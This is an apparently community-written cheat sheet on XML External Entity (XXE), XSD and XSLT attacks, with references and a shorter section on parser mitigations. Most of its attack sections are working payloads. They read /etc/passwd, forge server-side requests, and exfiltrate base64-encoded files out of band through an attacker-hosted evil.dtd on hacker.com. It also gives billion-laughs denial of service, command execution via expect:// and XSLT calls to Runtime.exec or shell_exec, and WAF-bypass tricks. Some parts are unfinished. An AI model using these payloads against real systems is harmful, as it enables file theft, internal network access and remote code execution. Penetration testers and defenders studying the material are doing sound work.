XXE
Content
Recommended articles:
- Security Implications of DTD Attacks Against a Wide Range of XML Parsers. Christopher Späth. 2015 source (contains a lot of information about various XML parsers)
- XSLT Processing Security and SSRF. Emanuel Duss, Roland Bischofberger, OWASP 2015 (contains a lot of information about XSLT vulnerabilities)
- OWASP XXE Processing
- XXE cheat sheet (web-in-security)
- XXE Payloads
Note: XSLT is a large separate topic, which must be investigated seprately and finalize in separate article.
Overview
- XXE - XML eXternal Entity attack
- XML input containing a reference to an external entity which is processed by a weakly configured XML parser, enabling disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. (owasp)
- DTD - Document Type Definition
- part of XML document related to <!DOCTYPE>.
Its main purpose is to specify XML document structure (this is not security-related therefore will be not discussed) and to specify XML entities.
XML standalone in <?xml version="1.0" standalone="yes"?>
is a signal to the XML processor that the DTD is only for validation (usage of external entites will be forbidden).
Default value is no
, that is perfectly well for attacker, although some parsers ignore this option.
XML entities types:
-
General entities - can be used in XML content like
&name;
<!ENTITY name "Hello World">
-
Parameter entities - can be used inside doctype definition like
%name;
(parameter entities can insert new entities) and inside entities values like%name;
.<!ENTITY % name "Hello World">
<!ENTITY % name "Hello %myEntity;">
-
External entities - entities with query to external (not declared in current XML document) resource (can be used both: general entities and parameter entities)
<!ENTITY name SYSTEM "URI/URL">
<!ENTITY name PUBLIC "any_text" "URI/URL">
External entities can be used for doctypes too:
<!DOCTYPE name SYSTEM "address.dtd" [...]>
<!DOCTYPE name PUBLIC "any text" "http://evil.com/evil.dtd">
- XSD - XML Schema Definition Language
- XML Schema is used to define XML structure. (It is usually a separate doc.xsd)
XSD does not depend on DTD technology, however can use it.
- XSLT - eXtensible Stylesheet Language Transformations
- XSLT is used to convert one XML document to other.
XSLT does not depend on DTD technology, however can use it.
Security issues
XXE practical usage
XXE targets:
- web-servers (even in deep backend)
-
xml-based documents: docx, pptx, odt, etc. (exist tools e.g. oxml_xxe) (microsoft office xxe)
For Open XML formats better to target[Content_Types].xml
file for XXE injections. - databases (mysql, postgresql, …)
- XMP (Extensible Metadata Platform) in images (gif, png, jpg, …)
- web-browsers
- etc.
Exploitation ways
- output data in XML, returned to user
- OOB - Out-Of-Band (send sensitive data with external entity request)
-
Error-based exploitation
- invalid values/type definitions
- schema validation
- Blind exploitation
- DoS
- RCE
XXE specifics
XXE can not be used to write files on server, exist only one-two exclusions for XSLT.
Behaviour greatly varies depending on used XML parser.
XXE nature allows to target several protocols and several files at a time (because we can include several Entities simultaneously (e.g. SYSTEM "schema://ip:port"
)).
Attack vectors
DTD attack vectors
-
confident data disclosure (file disclosure / LFI (Local File Inclusion))
External entities enables to read arbitrary files from system (if xml parser has read rights to the file)
However, if you request directory - usually (everything depends on parser) this will lead to an error, but some XML parsers (e.g. JAVA Xerces) will disclosure directory fine-names
<!ENTITY xxe SYSTEM "file:///etc/passwd">
-
SSRF (Server Side Request Forgery)
External entities enables to make SSRF attacks, by making request to internal network from web-server parsing XML document (meaning - making requests from internal network, bypassing perimeter protection)
<!ENTITY xxe SYSTEM "http://secret.dev.company.com/secret_pass.txt">
-
Out-Of-Band - using XML entities, data from server can be grabbed and sent to hacker.com (NO server output required)
Approach 1:
-
document.xml
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd"> %remote; %intern; %xxe; ]>
<root>&xxe;</root>
- you can changexxe
entity to general entity -
http://hacker.com/evil.dtd
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % intern "<!ENTITY % xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'file://%payl;'>">
- consider error-based
Approach 2:
-
document.xml
<!DOCTYPE root [ <!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd"> %remote; %intern; %xxe; ]>
<root>&xxe;</root>
- you can changexxe
entity to general entity -
http://hacker.com/evil.dtd
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'file://%payl;'>">
- consider error-based
Approach 3 (does it really work?):
-
CDATA inside xml
<root> <![CDATA[ <!ENTITY % stuff SYSTEM "file:///var/www/html/app/WEB-INF/ApplicationContext.xml"> ]]> </root>
<![CDATA[ <!DOCTYPE doc [ <!ENTITY % dtd SYSTEM "http://evil.com/"> %dtd; ]> <xxx/> <-- ??? ]]>
(“Detected an entity reference loop” error must be carefully bypassed)
Because of XML standard you have to pack external entities into evil.dtd. In core xml parameter entities must not depend on each other, parser will not make replacements.
-
-
DoS - billion laughs
Using XML entities, server memory resource can be exhausted by constructing long entity value.
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY hifi "hifi"> <!ENTITY hifi1 "&hifi;&hifi;&hifi;"> <!ENTITY hifi2 "&hifi1;&hifi1;&hifi1;"> <!ENTITY hifi3 "&hifi2;&hifi2;&hifi2;"> ]> <root>&hifi3;</root>
Linux local devices can be used:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe1 SYSTEM "/dev/urandom"> <!ENTITY xxe2 SYSTEM "/dev/zero"> ]> <root>&xxe1;&xxe2;</root>
Does recursion available?
<!DOCTYPE data [ <!ENTITY a "a&b;" > <!ENTITY b "&a;" > ]> <data>&a;</data>
-
RCE
Some parsers enables to execute commands from XML entities.
e.g. for php, if ‘expect’ extension is explicitly installed into php.
<!ENTITY xxe SYSTEM "expect://id">
-
error-based injections
Exist two types of errors:
- errors in DTD structure
- errors in xml schema validation
(sources: XML Out-Of-Band Exploitation. Alexey Osipov, Timur Yunusov. 2013, XML Out-Of-Band Data Retrieval. Alexey Osipov, Timur Yunusov. 2013)
Context:<!ENTITY % pay SYSTEM "file:///etc/passwd">
parser Restrictions XXE vector parser error MS System.XML untill first %20, %0d, %0a <!ENTITY % trick "<!ENTITY err SYSTEM 'file:///some'%pay; gif>"> %trick;
Xerces untill first %20, %0d, %0a <!ENTITY % trick "<!ENTITY :%pay;>"> %trick;
Xerces <!ENTITY % trick "<!ENTITY % err SYSTEM '%pay;'>"> %trick; %err;
libxml (php) ~650 bytes (base64) <!ENTITY % trick "<!ENTITY :%pay;>"> %trick;
libxml (php) ~900 bytes <!ENTITY % trick "<!ENTITY % err SYSTEM '%pay;'>"> %trick; %err;
??? (php) <!ENTITY % trick "<!ENTITY % err SYSTEM 'http%pay;:/127.0.0.1/'>"> %trick; %err;
DOMDocument::loadXML() [ domdocument.loadxml: Invalid URI: http___ ...
Xerces schema validation errors examples:<!DOCTYPE html [ <!ENTITY % foo SYSTEM "file:///c:/boot.ini"> %foo; ]>
- parser error : Invalid URI: :[file]
- I/O warning : failed to load external entity”[file]“
- parser error : DOCTYPE improperly terminated
- Warning: ** [file] in ** on line 11
Possible XML schema validation constraints:
[VC: Attribute Default Value Syntactically Correct] [VC: No Notation on Empty Element] [WFC: Element Type Match] [VC: Attribute Value Type] [VC: Notation Attributes] [WFC: Entity Declared] [VC: Element Valid] [VC: Notation Declared] [WFC: Entity Declared] [VC: Entity Declared] [VC: One ID per Element Type] [WFC: External Subset] [VC: Entity Name] [VC: One Notation Per Element Type] [WFC: In DTD] [VC: Enumeration] [VC: Proper Conditional Section/PE Nesting] [WFC: Legal Character] [VC: Fixed Attribute Default] [VC: Proper Declaration/PE Nesting] [WFC: No < in Attribute Values] [VC: ID Attribute Default] [VC: Proper Group/PE Nesting] [WFC: No External Entity References] [VC: IDREF] [VC: Required Attribute] [WFC: No Recursion] [VC: ID] [VC: Root Element Type] [WFC: PE 3etween Declarations] [VC: Name Token] [VC: Standalone Document Declaration] [WFC: PEs in Internal Subset] [VC: No Duplicate Tokens] [VC: Unique Element Type Declaration] [WFC: Parsed Entity] [VC: No Duplicate Types] [VC: Unique Notation Name] [WFC: Unique Att Spec]
XSD attack vectors
-
Out-Of-Band - XSD permits to make remote requests (or local files requests)
Several ways to make request (usually xsd is positioned in XML schema documents (doc.xsd), but some directives are placed in XML file directly):
-
schemaLocation
document.xml<document xmlns="http://any.namespace.name/like.url" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://any.namespace.name/like.url http://attacker.com/evil.xsd">text</document>
-
noNamespaceSchemaLocation
document.xml<document xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://attacker.com/evil.xsd">text</document>
-
XInclude (in xsd “http://www.w3.org/2001/XInclude” is not compatible with “http://www.w3.org/2001/XMLSchema”)
document.xml<data xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="http://attacker.com/evil.xml"/> <xi:include href="file:///etc/passwd" parse="text"/> </data>
-
import / include
document.xsd<xs:schema elementFormDefault="qualified" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:myNS="myNS"> <xs:import namespace="myNS" schemaLocation="http://attacker.com/evil.xsd"/> <xs:include namespace="myNS2" schemaLocation="http://attacker.com/evil.xsd"/> </xs:schema>
-
-
error-based injections
<xs:restriction base="xs:string"> <xs:pattern value="&xxe;" /> </xs:restriction>
In return there can be pattern validation error, if entity is not a simple string
XSLT attack vectors
(sources: XSLT Processing Security and SSRF. Emanuel Duss, Roland Bischofberger, OWASP 2015 (huge research of XSLT processors))
-
getting system information
<xsl:template match="/"> XSLT Version: <xsl:value-of select="system-property('xsl:version')" /> XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> XSLT Vendor URL: <xsl:value-of select="system-property('xsl:version-url')" /> </xsl:template>
-
Out-Of-Band XSLT permits to make remote requests (or local files requests)
-
xml-stylesheet
document.xml (web-browser can be good testbed for this case ([example](http://www.w3schools.com/xsl/cdcatalog_with_xsl.xml)))<?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="http://evil.com/evil.xsl"?> <doc></doc>
-
import / include
document.xsl (similar to XSD import and include)<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:import href="http://attacker.com/evil.xsl"/> <xsl:include href="http://attacker.com/evil.xsl"/> </xsl:stylesheet>
-
XSLT Out-Of-Band through variables and value-of definition
-
only for valid xml files, or expect to get only first line
<xsl:value-of select="document('test.html')" /> <xsl:value-of select="document('http://dev.company.com/secret.txt')" />
-
another attack example:
<xsl:variable name="name1" select="document('file:///etc/passwd')" /> <xsl:variable name="name2" select="concat('http://evil.com/?', $name1)" /> <xsl:variable name="name3" select="document($name2)" />
-
-
-
RCE
-
libxslt + php + registerPHPFunctions() must be called on instance of processor
<?xml version ="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <xsl:output method="html" /> <xsl:template match="/"> <xsl:value-of select="php:function('shell_exec', 'sleep 10')" /> </xsl:template> </xsl:stylesheet>
-
Xalan-J
xmlns:runtime="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:process="http://xml.apache.org/xalan/java/java.lang.Process" <xsl:variable name="rtobject" select="runtime:getRuntime()" /> <xsl:variable name="process" select="runtime:exec($rtobject, 'sleep 5')" /> <xsl:variable name="waiting" select="process:waitFor($process)" /> <xsl:value-of select="$process" /> <xsl:variable name="osversion" select="jv:java.lang.System.getProperty('os.name')"/> <xsl:value-of select="$osversion" />
Xalan<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:jv="http://xml.apache.org/xalan/java" exclude-result-prefixes="jv" version="1.0"> <xsl:template match="/"> <root> <xsl:variable name="osversion" select="jv:java.lang.System.getProperty('os.name')"/> <xsl:value-of select="$osversion" /> </root> </xsl:template> </xsl:stylesheet>
-
Saxon EE
<?xml version="1.0"?> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0" xmlns:date="java:java.util.Date" xmlns:runtime="java:java.lang.Runtime" xmlns:process="java:java.lang.Process"> <xsl:output method="text" /> <xsl:template match="/"> Date: <xsl:value-of select="date:new()" /> <xsl:variable name="rtobject" select="runtime:getRuntime()" /> <xsl:variable name="process" select="runtime:exec($rtobject, 'sleep 5')" /> <xsl:variable name="waiting" select="process:waitFor($process)" /> <xsl:value-of select="$process" /> </xsl:template> </xsl:stylesheet>
-
-
database connection
-
Xalan-J
<xsl:param name="driver" select= "'com.mysql.jdbc.Driver'" /> <xsl:param name="dbUrl" select="'jdbc:mysql://localhost/xslt'" /> <xsl:param name="user" select="'xsltuser'" /> <xsl:param name="pw" select="'xsltpw'" /> <xsl:param name="query" select="'select test from xtable'" /> <xsl:template match="/"> <xsl:variable name="dbc" select="sql:new($driver, $dbUrl , $user, $pw)" /> <xsl:variable name="table" select="sql:query($dbc, $query)" /> <xsl:value-of select="$table/*" /> <xsl:value-of select="sql:close($dbc)" /> </xsl:template>
Database driver must be included in $CLASSPATH
java -classpath /opt/sa/xalan-j_2_7_2/xalan.jar:/opt/sa/mysql-connector-java-5.1.33/mysql-connector-java-5.1.33-bin.jar org.apache.xalan.xslt.Process -in dummy.xml -xsl database_connection.xsl
-
-
write file on file-system
No output on success, error otherwise
-
XSLT 2.0 Saxon
<xsl:template match="/"> <xsl:result-document href="local_file.txt"> <xsl:text>Hello World to local file.</xsl:text> </xsl:result-document> </xsl:template>
-
Xalan-J redirect:write extension
<xsl:template match="/"> <redirect:open href="local_file.txt" /> <redirect:write href="local_file.txt">Hello world to local file.</redirect:open> <redirect:close href="local_file.txt" /> </xsl:template>
-
libxslt esxl:document extension
<xsl:template match="/"> <exsl:document href="local_file.txt"> <xsl:text>Hello World to local file.</xsl:text> </exsl:document> </xsl:template>
-
Saxon PE / Saxon EE file:create-dir extension
<xsl:variable name="file" as="xs:string" select="'local_file.txt'" /> <xsl:variable name="text" as="xs:string" select="'Hello World to local file.'" /> <xsl:template match="/"> <xsl:sequence select="file:append-text($file, $text)" /> </xsl:template>
Other functions: file:append-text(), file:move(), file:copy(), file:delete(), file:exists(), file:is-file(), file:is-dir(), file:read(), file:write()
-
Attacks extensions
-
filters and wrappers - XML parsers can provide filters to use for external entities.
PHP filters:-
file:// http:// https:// ftp:// data://
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY % xxe SYSTEM "http://evil.com/evil.dtd">
<!ENTITY xxe SYSTEM "data://text/plain;base64,aGVsbG8gd29ybGQ=">
(‘hello world’) -
php:// (accessing various I/O streams)
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
-
zlib:// rar:// phar://
ssh2://
glob:// ogg://
-
expect:// (gives RCE)
<!ENTITY xxe SYSTEM "expect://id">
other parsers can support
- gopher://, ldap:// (perl)
-
-
Some web-apps accepting JSON will agree to accept XML document instead. (XXE on JSON endpoints)
-
brute-force attribute values
using schema validation values for xml tags and attributes can be specified, and in case there is mismatch error will appear.
if attacker can insert values in schema validation specification, then he can brute inserting values until error will disappear
brute can be smart - patterns for values allows to use regular expression, though binary search is available
-
blind attacks
exist equivalent for lazy evaluation (e.g. xs:choice + xs:group in xsd), though for various choices regexps can take different time for calculation
Necessary requirements
XML security mitigation
This paragraph has to improved
For attacker to make external entites, they must be allowed. Usually there is several options:
- allow/deny loading XML entities (e.g. flag LIBXML_NOENT for php libxml)
- allow/deny loading external entities (e.g. flag LIBXML_DTDLOAD for php libxml)
- allow/deny showing error reports (e.g. flag LIBXML_NOERROR for php libxml)
- etc. (e.g. for php)
In some parsers exist constraints for using XML entities in XML tags attributes:
e.g. for entites SYSTEM 'file:///etc/passwd'
inserted into XML attributes there is an error:
Warning ... Attribute references external entity 'entity-name' in Entity
Xerces parser XXE mitigation:
XercesParserLiaison::DOMParserType theParser;
theParser.setValidationScheme(xercesc::XercesDOMParser::Val_Never);
theParser.setDoNamespaces(false);
theParser.setDoSchema(false);
theParser.setLoadExternalDTD(false);
XSLT security mitigation
libxslt | Saxon HE / Saxon EE | Xalan J | Xalan C | MSXML 4.0 | |
---|---|---|---|---|---|
read files | XSL_SECPREF_READ_FILE | own class implementing URIResolver interface OR Whitelist allowed files |
own class implementing URIResolver interface OR Whitelist allowed files |
xsl.setProperty (“‘AllowDocumentFunction’”, false); | |
read remote files, include external stylesheets | XSL_SECPREF_READ_NETWORK | own class implementing URIResolver and UnparsedTextURIResolver interfaces OR Whitelist allowed files |
own class implementing URIResolver interface OR Whitelist allowed files |
no mitigation | xsl.setProperty (“‘AllowDocumentFunction’”, false); |
write files | XSL_SECPREF_WRITE_FILE | setFeature(“http://saxon.sf.net/feature/allowexternal-functions”, false); | setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); | ||
RCE, getProperty | setFeature(“http://saxon.sf.net/feature/allowexternal-functions”, false); | setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); | xsl.setProperty (“‘AllowXsltScript’”, false); | ||
XXE | setFeature(“http://xml.org/sax/features/external-general-entities”, false); setFeature(“http://xml.org/sax/features/external-parameter-entities”, false); |
setFeature(“http://xml.org/sax/features/external-general-entitles”, false); | own EntityResolver, which returns empty source | xsl.setProperty (“‘ProhibitDTD’”, false); |
WAF bypass
SYSTEM
andPUBLIC
are practically synonyms-
change encoding for example on UTF-16, UTF-7, etc.
<?xml version="1.0" encoding="UTF-16"?>
-
tampering with names (XXE payloads):
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"
XML parsers properties
XML parsers
Book, showing main information about XML, XML parsing, XML attacks and a lot of various XML parsers characteristics:
- Security Implications of DTD Attacks Against a Wide Range of XML Parsers. Christopher Späth. 2015 source
Various parsers (italics - vulnerable parsers):
- Java: Xerces, Crimson, Piccolo
- PHP: SimpleXML, XMLReader, DOMDocument (LibXML)
- Perl: Twig, LibXml
- .NET: XmlReader, XmlDocument
- Python: Etree, xml.sax, pulldom, lxml
- Ruby: REXML, Nokogiri
- MS System.XML
Xerces | Libxml | JAXP |
---|---|---|
latest version - secure defaults | latest version - vulnerable defaults | latest version - secure defaults |
Validate schemas features | predefined constants | |
http://xml.org/sax/features/validation –> true | expand_entities(0); | |
http://xml.org/sax/features/namespace-prefixes –> true | ||
http://xml.org/sax/features/namespaces –> true | ||
http://apache.org/xml/features/validation/schema –> true | ||
http://apache.org/xml/features/validation/schema-full-checking –> true | ||
Avoid external entities attacks | ||
http://xml.org/sax/features/external-general-entities –> false | ||
http://xml.org/sax/features/external-parameter-entities –> false | ||
http://apache.org/xml/features/disallow-doctype-decl –> true | ||
Avoid resolving of external XML schema locations | ||
p.setEntityResolver(new MyResolver()); | ||
Utilize Security Manager to limit number of nodes and entity expansions | ||
p.setProperty(“http://apache.org/xml/properties/securitymanager”, “org.apache.xerces.util.SecurityManager”); |
||
Check XML against local server-side schemas and DTDs |
Setting feature in Xerces:
SAXParser p = new SAXParser();
p.setFeature("...", true/false);
MS System.XML:
- [-] can’t read XML files without encoding declaration
- [-] no wrappers
Xerces:
- [+] allows to read directories (by revealing located in directory file names).
- [+] sends NTLM auth data
- [+] has various wrappers
LibXML
- [+] has various wrappers
- [-] can’t read big files (>8 Kb) by default
XSLT processors
Popular XSLT processors: libxslt, Saxon, Xalan, MSXML, MS System.XML
Testbeds
php.ini: allow_url_fopen - ???
php.ini: allow_url_fopen - ???
php.ini: allow_url_fopen - ???
References
- XML External Entity Attacks (XXE). Sascha Herzog. OWASP. 2010
- XXE cheat sheet (web-in-security)
- XML Schema, DTD, and Entity Attacks. Timothy D. Morgan, Omar Al Ibrahim. 2014
- XSLT Processing Security and SSRF. Emanuel Duss, Roland Bischofberger, OWASP 2015
- etc. (a lot of minor web-sites, articles and presentations)